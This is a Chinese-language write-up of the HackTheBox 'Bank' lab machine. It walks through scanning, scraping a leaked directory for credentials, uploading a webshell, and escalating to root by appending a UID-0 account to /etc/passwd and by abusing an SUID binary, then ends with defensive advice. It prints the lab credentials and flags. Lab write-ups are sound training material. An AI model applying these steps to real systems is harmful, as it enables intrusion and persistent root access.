[Meachines] [Easy] Bank balance-transfer目录泄露+etcpasswd权限提升+SUID emergency权限提升
字数 1082 2025-08-22 12:23:42
Bank.htb 渗透测试教学文档
信息收集阶段
初始扫描
- 使用Masscan进行快速端口扫描:
sudo masscan -p1-65535,U:1-65535 10.10.10.29 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
- 处理扫描结果并准备Nmap扫描:
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
- 使用Nmap进行详细扫描:
nmap -Pn -sV -sC -p$ports 10.10.10.29
扫描结果分析
开放端口及服务:
- 22/tcp: OpenSSH 6.6.1p1 Ubuntu
- 53/tcp: ISC BIND 9.9.5-3ubuntu0.14 (DNS服务)
- 80/tcp: Apache httpd 2.4.7 (Web服务)
Web应用枚举
- 添加hosts记录:
echo '10.10.10.29 bank.htb' >>/etc/hosts
- 目录爆破:
feroxbuster -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
- 发现敏感目录:
http://bank.htb/balance-transfer/目录包含账户凭证文件
- 自动化下载balance-transfer目录文件:
wget -q -O - http://bank.htb/balance-transfer/ | grep -oP '(?<=href=")[^"]*' | sort | uniq | while read url; do
full_url="http://bank.htb/balance-transfer/$url"
if [[ ! "$url" =~ ^http ]]; then
full_url="http://bank.htb/balance-transfer/$url"
fi
echo "Downloading: $full_url"
wget --show-progress "$full_url" -P ./
done
- 分析下载的文件:
ls -la| sort -n |head -n 10
cat 68576f20e9732f1b2edc4df5b8533230.acc
发现凭证:
username:chris@bank.htb
password:!##HTBB4nkP4ssw0rd!##
初始访问
-
使用发现的凭证登录:
访问http://bank.htb/login.php并使用上述凭证 -
发现的功能点:
http://bank.htb/index.phphttp://bank.htb/support.php(文件上传点)
-
上传webshell:
上传文件到http://bank.htb/uploads/p0wny.htb -
获取user flag:
137646c78ff9524501409d48a3d2a2af
权限提升
方法一:通过/etc/passwd提权
- 生成加密密码:
openssl passwd -1 -salt 123 123
- 编辑/etc/passwd添加用户:
echo 'Maptnh:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:Maptnh:/home/Maptnh:/bin/bash'>>/etc/passwd
- 切换用户:
su Maptnh
方法二:通过SUID二进制文件提权
- 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
- 利用emergency二进制文件:
/var/htb/bin/emergency
- 获取root flag:
2bd8d9c525c16f18d779a90123fa3554
关键知识点总结
-
信息收集:
- 使用Masscan进行快速端口扫描
- 使用Nmap进行服务版本探测
- Web目录爆破技术
-
漏洞利用:
- 敏感目录泄露导致凭证泄露
- 文件上传漏洞利用
- /etc/passwd可写提权技术
- SUID二进制文件提权技术
-
权限提升技巧:
- 通过openssl生成密码哈希
- 手动添加root权限用户
- 识别和利用不当权限设置的SUID文件
-
工具使用:
- Masscan
- Nmap
- Feroxbuster
- Wget
- 标准Linux命令(find, cat, echo等)
防御建议
-
防止目录泄露:
- 禁用目录列表
- 敏感文件不应存放在web可访问目录
-
密码安全:
- 使用强密码策略
- 定期更换密码
- 密码不应明文存储
-
文件权限:
- 严格控制/etc/passwd等关键文件权限
- 审计SUID/SGID文件
-
输入验证:
- 实现严格的文件上传验证
- 过滤特殊字符和恶意输入
-
最小权限原则:
- Web服务应使用低权限用户运行
- 避免使用root权限运行服务